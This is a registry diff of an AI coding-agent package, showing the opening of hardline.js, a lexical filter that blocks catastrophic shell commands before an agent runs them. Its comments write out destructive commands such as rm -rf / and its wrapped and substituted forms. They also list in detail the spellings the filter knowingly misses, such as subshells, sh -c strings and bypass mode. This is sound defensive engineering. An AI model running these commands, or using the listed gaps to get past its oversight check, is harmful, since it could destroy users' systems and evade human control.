@gaunt-sloth/core 2.0.0-alpha.9 → 2.0.0-beta.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (275) hide show
  1. package/.gsloth.review.md +2 -0
  2. package/README.md +71 -20
  3. package/dist/config/colour.d.ts +38 -0
  4. package/dist/config/colour.js +36 -0
  5. package/dist/config/colour.js.map +1 -0
  6. package/dist/config/configDiscovery.d.ts +79 -0
  7. package/dist/config/configDiscovery.js +80 -0
  8. package/dist/config/configDiscovery.js.map +1 -0
  9. package/dist/config/defaults.d.ts +20 -20
  10. package/dist/config/defaults.js +10 -8
  11. package/dist/config/defaults.js.map +1 -1
  12. package/dist/config/filesystem-tools.d.ts +41 -0
  13. package/dist/config/filesystem-tools.js +56 -0
  14. package/dist/config/filesystem-tools.js.map +1 -0
  15. package/dist/config/loader.d.ts +171 -19
  16. package/dist/config/loader.js +1054 -144
  17. package/dist/config/loader.js.map +1 -1
  18. package/dist/config/mouse.d.ts +50 -0
  19. package/dist/config/mouse.js +44 -0
  20. package/dist/config/mouse.js.map +1 -0
  21. package/dist/config/profiles.d.ts +68 -0
  22. package/dist/config/profiles.js +93 -0
  23. package/dist/config/profiles.js.map +1 -0
  24. package/dist/config/providerKeys.d.ts +69 -0
  25. package/dist/config/providerKeys.js +69 -0
  26. package/dist/config/providerKeys.js.map +1 -0
  27. package/dist/config/schema.d.ts +2671 -138
  28. package/dist/config/schema.js +1361 -85
  29. package/dist/config/schema.js.map +1 -1
  30. package/dist/config/shell-policy.d.ts +899 -111
  31. package/dist/config/shell-policy.js +800 -70
  32. package/dist/config/shell-policy.js.map +1 -1
  33. package/dist/config/tool-descriptions.d.ts +211 -0
  34. package/dist/config/tool-descriptions.js +272 -0
  35. package/dist/config/tool-descriptions.js.map +1 -0
  36. package/dist/config/types.d.ts +352 -41
  37. package/dist/config/types.js +1 -0
  38. package/dist/config/types.js.map +1 -1
  39. package/dist/config.d.ts +35 -1
  40. package/dist/config.js +16 -1
  41. package/dist/config.js.map +1 -1
  42. package/dist/constants.d.ts +28 -1
  43. package/dist/constants.js +28 -1
  44. package/dist/constants.js.map +1 -1
  45. package/dist/core/GthAbstractAgent.d.ts +166 -11
  46. package/dist/core/GthAbstractAgent.js +484 -45
  47. package/dist/core/GthAbstractAgent.js.map +1 -1
  48. package/dist/core/GthAgentRunner.d.ts +543 -57
  49. package/dist/core/GthAgentRunner.js +1494 -140
  50. package/dist/core/GthAgentRunner.js.map +1 -1
  51. package/dist/core/GthLangChainAgent.d.ts +117 -2
  52. package/dist/core/GthLangChainAgent.js +602 -29
  53. package/dist/core/GthLangChainAgent.js.map +1 -1
  54. package/dist/core/approvals/annotations.d.ts +122 -0
  55. package/dist/core/approvals/annotations.js +137 -0
  56. package/dist/core/approvals/annotations.js.map +1 -0
  57. package/dist/core/approvals/grants.d.ts +216 -0
  58. package/dist/core/approvals/grants.js +469 -0
  59. package/dist/core/approvals/grants.js.map +1 -0
  60. package/dist/core/approvals/matcher.d.ts +202 -0
  61. package/dist/core/approvals/matcher.js +267 -0
  62. package/dist/core/approvals/matcher.js.map +1 -0
  63. package/dist/core/approvals/mcpSubjects.d.ts +40 -0
  64. package/dist/core/approvals/mcpSubjects.js +99 -0
  65. package/dist/core/approvals/mcpSubjects.js.map +1 -0
  66. package/dist/core/approvals/promptHeader.d.ts +28 -0
  67. package/dist/core/approvals/promptHeader.js +62 -0
  68. package/dist/core/approvals/promptHeader.js.map +1 -0
  69. package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
  70. package/dist/core/approvals/toolAnnotationSources.js +277 -0
  71. package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
  72. package/dist/core/approvals/toolHost.d.ts +46 -0
  73. package/dist/core/approvals/toolHost.js +108 -0
  74. package/dist/core/approvals/toolHost.js.map +1 -0
  75. package/dist/core/debugCapture.d.ts +74 -0
  76. package/dist/core/debugCapture.js +100 -0
  77. package/dist/core/debugCapture.js.map +1 -0
  78. package/dist/core/gthLeanAgentFactory.d.ts +4 -4
  79. package/dist/core/gthLeanAgentFactory.js +4 -4
  80. package/dist/core/launchBanner.d.ts +127 -0
  81. package/dist/core/launchBanner.js +414 -0
  82. package/dist/core/launchBanner.js.map +1 -0
  83. package/dist/core/modelLabel.d.ts +19 -0
  84. package/dist/core/modelLabel.js +26 -0
  85. package/dist/core/modelLabel.js.map +1 -0
  86. package/dist/core/plainToolIndication.d.ts +15 -0
  87. package/dist/core/plainToolIndication.js +174 -0
  88. package/dist/core/plainToolIndication.js.map +1 -0
  89. package/dist/core/reasoningBlocks.d.ts +65 -0
  90. package/dist/core/reasoningBlocks.js +103 -0
  91. package/dist/core/reasoningBlocks.js.map +1 -0
  92. package/dist/core/refusal.d.ts +53 -0
  93. package/dist/core/refusal.js +133 -0
  94. package/dist/core/refusal.js.map +1 -0
  95. package/dist/core/runHeader.d.ts +38 -0
  96. package/dist/core/runHeader.js +42 -0
  97. package/dist/core/runHeader.js.map +1 -0
  98. package/dist/core/runStats.d.ts +14 -3
  99. package/dist/core/runStats.js +48 -3
  100. package/dist/core/runStats.js.map +1 -1
  101. package/dist/core/shell/ShellCommandFailedError.d.ts +3 -4
  102. package/dist/core/shell/ShellCommandFailedError.js +3 -4
  103. package/dist/core/shell/ShellCommandFailedError.js.map +1 -1
  104. package/dist/core/shell/abstention.d.ts +88 -0
  105. package/dist/core/shell/abstention.js +184 -0
  106. package/dist/core/shell/abstention.js.map +1 -0
  107. package/dist/core/shell/approvalCapture.d.ts +271 -0
  108. package/dist/core/shell/approvalCapture.js +108 -0
  109. package/dist/core/shell/approvalCapture.js.map +1 -0
  110. package/dist/core/shell/approvalStop.d.ts +123 -0
  111. package/dist/core/shell/approvalStop.js +269 -0
  112. package/dist/core/shell/approvalStop.js.map +1 -0
  113. package/dist/core/shell/arity.d.ts +6 -0
  114. package/dist/core/shell/arity.js +20 -6
  115. package/dist/core/shell/arity.js.map +1 -1
  116. package/dist/core/shell/denylist.d.ts +11 -0
  117. package/dist/core/shell/denylist.js +37 -0
  118. package/dist/core/shell/denylist.js.map +1 -0
  119. package/dist/core/shell/escalationSeverity.d.ts +141 -0
  120. package/dist/core/shell/escalationSeverity.js +89 -0
  121. package/dist/core/shell/escalationSeverity.js.map +1 -0
  122. package/dist/core/shell/framing.d.ts +190 -0
  123. package/dist/core/shell/framing.js +633 -0
  124. package/dist/core/shell/framing.js.map +1 -0
  125. package/dist/core/shell/hardline.d.ts +103 -0
  126. package/dist/core/shell/hardline.js +780 -0
  127. package/dist/core/shell/hardline.js.map +1 -0
  128. package/dist/core/shell/negotiation.d.ts +328 -0
  129. package/dist/core/shell/negotiation.js +488 -0
  130. package/dist/core/shell/negotiation.js.map +1 -0
  131. package/dist/core/shell/normalize.d.ts +44 -4
  132. package/dist/core/shell/normalize.js +61 -7
  133. package/dist/core/shell/normalize.js.map +1 -1
  134. package/dist/core/shell/openWorld.d.ts +263 -0
  135. package/dist/core/shell/openWorld.js +1188 -0
  136. package/dist/core/shell/openWorld.js.map +1 -0
  137. package/dist/core/shell/rater.d.ts +873 -0
  138. package/dist/core/shell/rater.js +1454 -0
  139. package/dist/core/shell/rater.js.map +1 -0
  140. package/dist/core/shell/raterModel.d.ts +41 -0
  141. package/dist/core/shell/raterModel.js +51 -0
  142. package/dist/core/shell/raterModel.js.map +1 -0
  143. package/dist/core/shell/raterVocabulary.d.ts +121 -0
  144. package/dist/core/shell/raterVocabulary.js +116 -0
  145. package/dist/core/shell/raterVocabulary.js.map +1 -0
  146. package/dist/core/shell/rejection.d.ts +69 -0
  147. package/dist/core/shell/rejection.js +38 -0
  148. package/dist/core/shell/rejection.js.map +1 -0
  149. package/dist/core/toolCallRepair/grammar.d.ts +41 -0
  150. package/dist/core/toolCallRepair/grammar.js +116 -0
  151. package/dist/core/toolCallRepair/grammar.js.map +1 -0
  152. package/dist/core/toolCallRepair/index.d.ts +2 -0
  153. package/dist/core/toolCallRepair/index.js +7 -0
  154. package/dist/core/toolCallRepair/index.js.map +1 -0
  155. package/dist/core/toolCallRepair/payload.d.ts +36 -0
  156. package/dist/core/toolCallRepair/payload.js +341 -0
  157. package/dist/core/toolCallRepair/payload.js.map +1 -0
  158. package/dist/core/toolCallRepair/promote.d.ts +45 -0
  159. package/dist/core/toolCallRepair/promote.js +90 -0
  160. package/dist/core/toolCallRepair/promote.js.map +1 -0
  161. package/dist/core/toolDisplay.d.ts +123 -0
  162. package/dist/core/toolDisplay.js +451 -0
  163. package/dist/core/toolDisplay.js.map +1 -0
  164. package/dist/core/toolOutputChannel.d.ts +95 -0
  165. package/dist/core/toolOutputChannel.js +165 -0
  166. package/dist/core/toolOutputChannel.js.map +1 -0
  167. package/dist/core/types.d.ts +349 -16
  168. package/dist/core/types.js.map +1 -1
  169. package/dist/history/historyFormat.d.ts +12 -3
  170. package/dist/history/historyFormat.js +50 -8
  171. package/dist/history/historyFormat.js.map +1 -1
  172. package/dist/history/historyStore.d.ts +77 -0
  173. package/dist/history/historyStore.js +173 -6
  174. package/dist/history/historyStore.js.map +1 -1
  175. package/dist/history/recordSession.d.ts +10 -1
  176. package/dist/history/recordSession.js +27 -0
  177. package/dist/history/recordSession.js.map +1 -1
  178. package/dist/providers/anthropic.js +12 -0
  179. package/dist/providers/anthropic.js.map +1 -1
  180. package/dist/providers/configurationPassthrough.d.ts +107 -0
  181. package/dist/providers/configurationPassthrough.js +148 -0
  182. package/dist/providers/configurationPassthrough.js.map +1 -0
  183. package/dist/providers/geminiSchemaSanitizer.d.ts +55 -0
  184. package/dist/providers/geminiSchemaSanitizer.js +347 -0
  185. package/dist/providers/geminiSchemaSanitizer.js.map +1 -0
  186. package/dist/providers/geminiThinking.d.ts +60 -0
  187. package/dist/providers/geminiThinking.js +92 -0
  188. package/dist/providers/geminiThinking.js.map +1 -0
  189. package/dist/providers/google-genai.js +18 -1
  190. package/dist/providers/google-genai.js.map +1 -1
  191. package/dist/providers/groq.js +12 -0
  192. package/dist/providers/groq.js.map +1 -1
  193. package/dist/providers/huggingface.d.ts +25 -0
  194. package/dist/providers/huggingface.js +69 -0
  195. package/dist/providers/huggingface.js.map +1 -0
  196. package/dist/providers/modelCatalog.d.ts +109 -0
  197. package/dist/providers/modelCatalog.js +245 -0
  198. package/dist/providers/modelCatalog.js.map +1 -0
  199. package/dist/providers/modelDiscovery.d.ts +99 -5
  200. package/dist/providers/modelDiscovery.js +191 -35
  201. package/dist/providers/modelDiscovery.js.map +1 -1
  202. package/dist/providers/ollama.d.ts +18 -4
  203. package/dist/providers/ollama.js +67 -37
  204. package/dist/providers/ollama.js.map +1 -1
  205. package/dist/providers/openai.js +34 -0
  206. package/dist/providers/openai.js.map +1 -1
  207. package/dist/providers/openrouter.d.ts +26 -4
  208. package/dist/providers/openrouter.js +83 -26
  209. package/dist/providers/openrouter.js.map +1 -1
  210. package/dist/providers/vertexai.js +19 -1
  211. package/dist/providers/vertexai.js.map +1 -1
  212. package/dist/providers/xai.js +20 -0
  213. package/dist/providers/xai.js.map +1 -1
  214. package/dist/runtime/askStructured.d.ts +105 -0
  215. package/dist/runtime/askStructured.js +120 -0
  216. package/dist/runtime/askStructured.js.map +1 -0
  217. package/dist/runtime/conversation.d.ts +64 -0
  218. package/dist/runtime/conversation.js +171 -0
  219. package/dist/runtime/conversation.js.map +1 -0
  220. package/dist/runtime/singleShot.d.ts +37 -6
  221. package/dist/runtime/singleShot.js +113 -67
  222. package/dist/runtime/singleShot.js.map +1 -1
  223. package/dist/runtime/structuredOutput.d.ts +104 -0
  224. package/dist/runtime/structuredOutput.js +393 -0
  225. package/dist/runtime/structuredOutput.js.map +1 -0
  226. package/dist/utils/ProgressIndicator.d.ts +21 -0
  227. package/dist/utils/ProgressIndicator.js +30 -3
  228. package/dist/utils/ProgressIndicator.js.map +1 -1
  229. package/dist/utils/aiignoreUtils.js.map +1 -1
  230. package/dist/utils/binaryOutputUtils.js.map +1 -1
  231. package/dist/utils/consoleUtils.d.ts +95 -0
  232. package/dist/utils/consoleUtils.js +112 -2
  233. package/dist/utils/consoleUtils.js.map +1 -1
  234. package/dist/utils/crashHandler.d.ts +87 -0
  235. package/dist/utils/crashHandler.js +128 -0
  236. package/dist/utils/crashHandler.js.map +1 -0
  237. package/dist/utils/debugDump.d.ts +134 -0
  238. package/dist/utils/debugDump.js +381 -0
  239. package/dist/utils/debugDump.js.map +1 -0
  240. package/dist/utils/debugUtils.d.ts +13 -4
  241. package/dist/utils/debugUtils.js +36 -13
  242. package/dist/utils/debugUtils.js.map +1 -1
  243. package/dist/utils/displayWidth.d.ts +53 -0
  244. package/dist/utils/displayWidth.js +195 -0
  245. package/dist/utils/displayWidth.js.map +1 -0
  246. package/dist/utils/fileUtils.js.map +1 -1
  247. package/dist/utils/globalConfigUtils.d.ts +14 -2
  248. package/dist/utils/globalConfigUtils.js +22 -4
  249. package/dist/utils/globalConfigUtils.js.map +1 -1
  250. package/dist/utils/llmUtils.d.ts +39 -8
  251. package/dist/utils/llmUtils.js +76 -8
  252. package/dist/utils/llmUtils.js.map +1 -1
  253. package/dist/utils/redactSecrets.d.ts +63 -0
  254. package/dist/utils/redactSecrets.js +286 -0
  255. package/dist/utils/redactSecrets.js.map +1 -0
  256. package/dist/utils/systemPromptNotes.d.ts +222 -0
  257. package/dist/utils/systemPromptNotes.js +338 -0
  258. package/dist/utils/systemPromptNotes.js.map +1 -0
  259. package/dist/utils/systemUtils.d.ts +18 -1
  260. package/dist/utils/systemUtils.js +38 -3
  261. package/dist/utils/systemUtils.js.map +1 -1
  262. package/dist/utils/toolMatching.d.ts +30 -0
  263. package/dist/utils/toolMatching.js +44 -0
  264. package/dist/utils/toolMatching.js.map +1 -0
  265. package/dist/utils/untrustedText.d.ts +86 -0
  266. package/dist/utils/untrustedText.js +101 -0
  267. package/dist/utils/untrustedText.js.map +1 -0
  268. package/package.json +21 -7
  269. package/schema/gsloth-config.schema.json +1921 -326
  270. package/dist/core/shell/allowlist.d.ts +0 -75
  271. package/dist/core/shell/allowlist.js +0 -187
  272. package/dist/core/shell/allowlist.js.map +0 -1
  273. package/dist/core/shell/judge.d.ts +0 -161
  274. package/dist/core/shell/judge.js +0 -261
  275. package/dist/core/shell/judge.js.map +0 -1
@@ -0,0 +1,780 @@
1
+ /**
2
+ * @module core/shell/hardline
3
+ *
4
+ * The shell floor — spec §8. Refused inside `executeCommand` BEFORE spawn, so a match fires
5
+ * regardless of `approvals: "bypass"`, any allow-list entry, or the confirmation path. `bypass`
6
+ * bypasses the *confirmation*; it does not bypass this.
7
+ *
8
+ * **It is consulted twice, and the second call site is the one §4.2 asks for.** Exec time is the
9
+ * guarantee that a matching command never runs. The approvals gate consults it *before any rating
10
+ * and before any prompt*, at every rung that reaches a decision — every one but `bypass`, where a
11
+ * shell call is approved before the gate gets that far, so there `executeCommand` alone enforces
12
+ * this. The gate-time site exists because "refused at execution whatever you decide" still lets the
13
+ * gate open a §5 negotiation, or put an approval dialog in front of a person, about a command that
14
+ * was never going to run — and *"asking a human to approve something that is then refused anyway
15
+ * teaches them their answer does not count, which is worse than a flat refusal"*. Both sites share
16
+ * {@link buildHardlineRefusal}, so one policy speaks with one sentence.
17
+ *
18
+ * It lives in `@gaunt-sloth/core` rather than beside the toolkit that executes commands because the
19
+ * approvals gate (`GthAgentRunner`) is core's and core cannot import `@gaunt-sloth/agent`.
20
+ *
21
+ * **What it is:** a cheap, deterministic way to turn away a small set of commands we are
22
+ * **absolutely sure** are catastrophic and that can be recognised **without numerous annoying false
23
+ * positives** — wipe the root filesystem, format a disk, overwrite a raw block device, re-own the
24
+ * filesystem out from under root, fork-bomb, take the host down — plus the deterministic subset of
25
+ * the §4.1.1 `attack` outcome (a credential source and a network sink in one pipeline).
26
+ *
27
+ * **What it is NOT: a security boundary, an ultimate defence, or complete.** It is a lexical test
28
+ * over the normalized command; it does not parse the shell and never will. **Incompleteness here is
29
+ * by design, so a review finding that merely names an uncovered variant is not a defect in this
30
+ * layer.** Building something that could claim completeness costs years we do not have, and we have
31
+ * a rater for the second step of rejection. Recoverable-but-costly operations (`git reset --hard`,
32
+ * `rm -rf ./build`, `chmod -R 777 ./dir`, `curl | sh`) are deliberately not here either — those are
33
+ * the confirmation dialog's job.
34
+ *
35
+ * **How it may grow: spec §8.0 states the rules and they bind — read it before adding a pattern.**
36
+ * In short: stress-test a new case for side effects, and drop it if the false positives cannot be
37
+ * avoided cheaply. **What decides every one of those calls is the asymmetry — a false positive here
38
+ * is unappealable at EVERY rung including `bypass`, while a miss still has the rater and the
39
+ * escalation behind it at every rung but `bypass`.** {@link CMD_POS} carries the worked example of
40
+ * a case measured and dropped.
41
+ *
42
+ * **How it may SHRINK — a narrowing ships with its removal set pinned.** Any edit that makes the
43
+ * floor refuse strictly fewer commands is a narrowing: a new exclusion, a loosened bound, a
44
+ * tightened anchor, a narrower character class. **The suite cannot review one.** If the edit had
45
+ * removed a refusal that any spec asserts, that spec would be red — so a green run proves only that
46
+ * everything the edit removed was unasserted, which is the same set as "uncovered". Green is
47
+ * structurally silent about a narrowing, and an AI review of the diff is no better: both read what
48
+ * the change still does, and the whole risk is in what it quietly stopped doing.
49
+ *
50
+ * So the change states its **removal set** — the commands that matched before and do not match
51
+ * after — characterised from the shape of the edit, never sampled from the corpus
52
+ * (`shellHardlineCorpus.spec.ts` sees only its own cases *by construction*; its docblock says so). A
53
+ * regex's removal set cannot be enumerated exactly, so the requirement is a characterisation plus
54
+ * probes pinned at its dangerous end. **Derived by the reviewer independently, not by the author** —
55
+ * an author who missed the removal while writing the edit will miss it again while describing it.
56
+ * {@link HARDLINE_PATTERN_SURFACE} is what makes a narrowing ASK for that declaration: every pattern
57
+ * constant this module binds at module scope is frozen in `shellHardlinePatternSurface.spec.ts`, so
58
+ * moving one turns a cell red and only a deliberate edit to that spec's literal turns it green
59
+ * again. A pattern built inside a function body, and any narrowing that lives in control flow rather
60
+ * than in a string, are outside it — that spec's docblock names them.
61
+ *
62
+ * **The asymmetry above flips at the exfiltration boundary — check which half you are editing.**
63
+ * For the destructive-verb arms a miss still has the confirmation dialog and the rater behind it,
64
+ * which is what makes "prefer fewer false positives" safe there. For the exfiltration arms,
65
+ * removing a refusal **is** the harm, and "a miss still has the rater behind it" is the precise
66
+ * reliance §3 forbids: the deterministic subset exists *because* the `attack` outcome must not
67
+ * depend on the rater alone. "Strictly subtractive — it can only remove refusals, never add one" is
68
+ * a safety property in the first half and a description of the vulnerability in the second.
69
+ *
70
+ * §8.1 — **the floor is never advertised.** It is documented for people reading the code and the
71
+ * spec, never offered to a user as a reason to feel safe; user-facing copy cites only protections
72
+ * the user can inspect and extend (the deny list).
73
+ *
74
+ * **Mechanism.** Patterns match the NORMALIZED command (`@gaunt-sloth/core` `core/shell/normalize`)
75
+ * so ANSI, fullwidth, backslash-split and whitespace-padded spellings cannot walk past them. The
76
+ * normalized form PRESERVES line breaks — they are separators, not padding — and {@link CMD_POS}
77
+ * and {@link TARGET_TOKEN_END} are both built from core's one shared `COMMAND_SEPARATOR_CLASS`, so
78
+ * the two halves cannot come to disagree about what a separator is. Every destructive-verb pattern
79
+ * is anchored at {@link CMD_POS}, so a verb in an ordinary argument is not a refusal.
80
+ *
81
+ * The floor is deliberately INDEPENDENT of the allow-list classifier above it: it must block a
82
+ * catastrophic command even if every layer above wrongly decided that command was safe.
83
+ */
84
+ import { COMMAND_SEPARATOR_CLASS, normalizeCommand } from '#src/core/shell/normalize.js';
85
+ /**
86
+ * A run of flag tokens. Bounded per token by the required trailing whitespace, and unable to
87
+ * consume the wrapped command because every iteration must start with `-`.
88
+ */
89
+ const WRAPPER_FLAGS = '(?:-[^\\s]+\\s+)*';
90
+ /**
91
+ * The wrapper programs that may sit between a command position and the command itself, as ONE
92
+ * repeatable list — so the order they are written in cannot matter, and `env FOO=1 sudo rm -rf /`
93
+ * matches as readily as `sudo env FOO=1 rm -rf /`.
94
+ *
95
+ * The list is short by charter, not by accident (see the module header). It is the enumeration this
96
+ * table exists to bound, and the reason wrapped invocations are the floor's standing residual.
97
+ *
98
+ * **Each entry carries the operands it takes.** The tempting shortcut — "after a wrapper, skip
99
+ * tokens until one looks like a command" — is what turns `timeout 5 echo rm -rf /` into an
100
+ * unappealable refusal of an `echo`. A wrapper may consume only the operand shape it defines;
101
+ * anything else ends the prefix, and the verb then has to sit at a genuine command position.
102
+ *
103
+ * Value-taking short flags are listed BEFORE the generic flag run in each alternation, or
104
+ * `-[^\s]+` matches `-u` and leaves its value sitting where the command should be.
105
+ *
106
+ * **The generic run then EXCLUDES those same flags by lookahead, and that is what keeps this
107
+ * pattern out of CATASTROPHIC BACKTRACKING — do not "simplify" it away.** Listing the value-taking
108
+ * branch first only makes it *preferred*; the generic branch can still match `-u ` on backtracking,
109
+ * so a run of `-u ` tokens partitions two ways per pair — Fibonacci-many parses of one input, all
110
+ * of which the engine walks when the overall match fails. {@link CMD_POS} is shared by every
111
+ * destructive-verb pattern, so the whole floor inherits it: measured at `sudo ` + `-u `×40 taking
112
+ * 2.5 seconds, ×60 not finishing. The lookahead makes the branches mutually exclusive, removing the
113
+ * ambiguity at its source rather than bounding its cost. Clustered (`-u10`) and long (`--user`)
114
+ * spellings still fall to the generic run: the character after the flag letter is not whitespace.
115
+ *
116
+ * It also makes the value reading FORCED rather than preferred, which deliberately narrows seven
117
+ * forms: `sudo -u rm -rf /` does not match, because `-u rm` names the *user* and the command that
118
+ * runs is `/`. That is the shell's own reading, so refusing it would be a false positive.
119
+ *
120
+ * **These arms are reachable only from a command position**, so they are strictly additive: they
121
+ * widen what counts as a prefix, never where a prefix may start. A wrapper name in an ordinary
122
+ * argument (`man timeout`) cannot reach this table at all.
123
+ */
124
+ const WRAPPER_ARMS = [
125
+ // `-u root` / `-g grp` take a value; the generic run would eat the flag and leave the value.
126
+ `sudo\\s+(?:-[ugpUCDhRT]\\s+\\S+\\s+|-(?![ugpUCDhRT]\\s)[^\\s]+\\s+)*`,
127
+ // `env -i`, `env -u VAR`, then any number of VAR=VAL assignments. Flags precede the assignments,
128
+ // as in the real syntax.
129
+ `env\\s+(?:-u\\s+\\S+\\s+|-(?!u\\s)[^\\s]+\\s+)*(?:\\w+=\\S*\\s+)*`,
130
+ // `timeout [flags] DURATION cmd` — the duration operand is what the flag run cannot express.
131
+ // Longest-first against `time` below; both require trailing whitespace, so neither can claim
132
+ // the other's name.
133
+ `timeout\\s+(?:-[sk]\\s+\\S+\\s+|-(?![sk]\\s)[^\\s]+\\s+)*[0-9]+(?:\\.[0-9]+)?[smhd]?\\s+`,
134
+ // `nice -n 10` / `ionice -c 3`; the clustered spellings (`-c3`, `-o0`) fall to the generic run.
135
+ `nice\\s+(?:-n\\s+\\S+\\s+|-(?!n\\s)[^\\s]+\\s+)*`,
136
+ `ionice\\s+(?:-[cnp]\\s+\\S+\\s+|-(?![cnp]\\s)[^\\s]+\\s+)*`,
137
+ `stdbuf\\s+${WRAPPER_FLAGS}`,
138
+ // Bare forms only. `eval "rm -rf /"` and `xargs -I{} sh -c "…"` put the command inside a quoted
139
+ // ARGUMENT, which needs CFG-29 span extraction rather than another entry here — see the residual
140
+ // note in the module docblock. `eval rm -rf /` and `xargs rm -rf /` are the forms covered.
141
+ `(?:eval|command|builtin|exec|nohup|setsid|time|xargs)\\s+${WRAPPER_FLAGS}`,
142
+ ];
143
+ /**
144
+ * Matches a position where the shell would begin parsing a NEW command: start of string, after a
145
+ * separator (`;` `&` `|` newline), after `$(` or a backtick, optionally consuming any run of the
146
+ * leading wrappers in {@link WRAPPER_ARMS}. Used by every destructive-verb pattern so a verb in an
147
+ * ordinary argument (`echo reboot`, `grep -c mkfs docs/*.md`) is not a refusal.
148
+ *
149
+ * **What this deliberately does NOT model. This is the worked example of the header's drop rule —
150
+ * read it before proposing an addition.**
151
+ *
152
+ * **Compound-command openers: `(`, `{`, `)` for a `case` arm, and the `then`/`else`/`elif`/`do`
153
+ * keyword positions.** A shell begins a command at every one of them, so `(rm -rf /)`,
154
+ * `{ rm -rf /; }`, `if true; then rm -rf /; fi` and `for f in a; do rm -rf /; done` all execute.
155
+ * Each opener was measured against prose whose only crime is describing shell syntax, and **every
156
+ * one costs legitimate commands — there is no free opener:**
157
+ *
158
+ * | opener | invocations bought | prose refused (of 20) |
159
+ * |---|---|---|
160
+ * | `(` | 1 | 4 |
161
+ * | `{` + space | 1 | 3 |
162
+ * | `)` (case arm) | 1 | 3 |
163
+ * | `then` | 2 | 2 |
164
+ * | `do` | 2 | 2 |
165
+ * | `else` | 1 | 1 |
166
+ *
167
+ * `)` is the sharpest: it is the only way to reach a `case` arm and it also refuses
168
+ * `echo "(a) rm -rf / is bad"`, so the two cannot both hold lexically. **So the cases are DROPPED.**
169
+ *
170
+ * **A miss here is not naked.** `classifyCommand` returns `null` for seven of the eight forms — the
171
+ * `;` inside them makes the command unclassifiable — so they escalate at `assisted` and
172
+ * `auto`, where the rater rates them (measured `catastrophic` on `claude-haiku-4-5`,
173
+ * `gemini-3.6-flash`, `gemini-3.5-flash-lite` and `google/gemma-3-12b-it`). `(rm -rf /)` is the
174
+ * eighth and resolves to prefix `(rm`, which no allow-list will hold. **`bypass` consults neither,
175
+ * so there they are uncovered** — knowingly: that rung's whole meaning is "stop asking me", and a
176
+ * user who wants the catastrophic set actually stopped belongs on `manual`.
177
+ *
178
+ * **Wrapped invocations whose flag takes a space-separated value** are the same shape and the same
179
+ * answer — `sudo --user root rm -rf /`, `timeout --kill-after 5s 10s rm -rf /`, `nice --adjustment
180
+ * 10 …`, `xargs -n 1 …`, `stdbuf -o 0 …`, `env -C /tmp …`, `exec -a name …` all execute. The flag
181
+ * run consumes the flag and leaves the value where a command would be, ending the prefix. Covering
182
+ * them needs a per-flag enumeration of which long forms take values, where a wrong guess produces a
183
+ * MISS rather than mere noise: the growth this file refuses.
184
+ *
185
+ * **Quoting** is out because this is a lexical test, and teaching it to parse quotes is a second
186
+ * command parser — a quote-aware scanner built for exactly this was measured leaking 6 of 12
187
+ * attacks where the blunt one leaked 0. `sh -c "…"`, `bash -c "…"`, `eval "…"` and
188
+ * `xargs -I{} sh -c "…"` put the command inside an argument and stay uncovered on that basis; the
189
+ * BARE `eval rm -rf /` and `xargs rm -rf /` ARE covered by {@link WRAPPER_ARMS}, so those names
190
+ * appearing there must not be read as full cover. The same lexical blindness means a mention
191
+ * following a separator or backtick still matches (`echo "step 1; rm -rf / is fatal"` is refused).
192
+ *
193
+ * All of it is pinned in `shellHardline.spec.ts` — as `knowinglyUncovered` and as must-NOT-fire
194
+ * prose probes — so a later widening goes red against the prose before it can go green against the
195
+ * invocations.
196
+ */
197
+ const CMD_POS = `(?:^|[${COMMAND_SEPARATOR_CLASS}\`]|\\$\\()` +
198
+ '\\s*' +
199
+ `(?:${WRAPPER_ARMS.join('|')})*` +
200
+ '\\s*';
201
+ /**
202
+ * The end of a target TOKEN, as a zero-width lookahead: end of input, whitespace, a separator that
203
+ * starts a new command, or a substitution closer.
204
+ *
205
+ * **It ends the TOKEN, not the command, and the difference is load-bearing.** A tail requiring the
206
+ * target path to be the last thing on the line is defeated by anything after it, which lets
207
+ * `rm -rf / --no-preserve-root`, `rm -rf / /tmp` and `rm -rf /etc /var` through — refusing the form
208
+ * GNU coreutils declines anyway while allowing the form that actually deletes the filesystem.
209
+ *
210
+ * **It still has to BIND**, because a bare `/` otherwise matches the first character of every
211
+ * absolute path. That is what keeps `/var/www/html` and `/home/deploy/app`, where all ordinary work
212
+ * happens, out of range: after `/var` comes `/`, which is neither whitespace nor a separator.
213
+ *
214
+ * Built from the ONE shared {@link COMMAND_SEPARATOR_CLASS}, widened — never a second spelling of
215
+ * it, or the two halves of this module come to disagree about what a separator is and a
216
+ * newline-composed command silently stops matching. (JS `$` without the `m` flag matches only true
217
+ * end-of-input, so the explicit line break in the class is required; `m` is NOT an alternative —
218
+ * it would also change `^` in {@link CMD_POS}.)
219
+ *
220
+ * **The class also ends the token at a substitution CLOSER — `)` and a backtick** — which is the
221
+ * symmetric case to {@link CMD_POS} treating `$(` and a backtick as command *openers*. Without it a
222
+ * target's tail cannot bind inside a substitution, and `echo $(rm -rf /)`, `` echo `rm -rf /` ``
223
+ * and the bare `$(rm -rf /)` are allowed: the floor knows where such a command begins and not where
224
+ * it ends.
225
+ *
226
+ * Widening an unappealable layer, so it carries its own must-NOT-fire probes
227
+ * (`rm -rf ./build --verbose`, `chown -R app:app /var/www/html extra`) rather than relying on the
228
+ * must-refuse ones alone.
229
+ *
230
+ * Not to be confused with the credential section's `TOKEN_END` below. That one ends a PATH token —
231
+ * it consumes an optional trailing slash and stops only at whitespace. The two are deliberately
232
+ * separate: this one must treat `;`/`&`/`|` and the substitution closers as ending the token,
233
+ * because a target is the last thing before the enclosing construct resumes.
234
+ */
235
+ const TARGET_TOKEN_END = `(?=$|[\\s)\`${COMMAND_SEPARATOR_CLASS}])`;
236
+ /**
237
+ * A target path, in the three spellings a shell accepts for the same file: bare, double-quoted,
238
+ * single-quoted. `rm -rf "/"` deletes exactly what `rm -rf /` deletes.
239
+ *
240
+ * **The quotes are tolerated HERE rather than folded into `normalizeCommand`, and that is
241
+ * deliberate.** The normalizer also feeds the allow-list classifier and `hasUnsafeComposition`, so
242
+ * stripping quotes there would change what `classifyCommand` resolves and a quoted `;` would stop
243
+ * being fail-closed. Tolerating them in three target arms is local and bounded; folding them
244
+ * globally is not.
245
+ *
246
+ * Each spelling still ends at {@link TARGET_TOKEN_END}, so a quote that merely *starts* the token
247
+ * does not make the whole token a target: `rm -rf /"var"/www` is not `rm -rf /`.
248
+ */
249
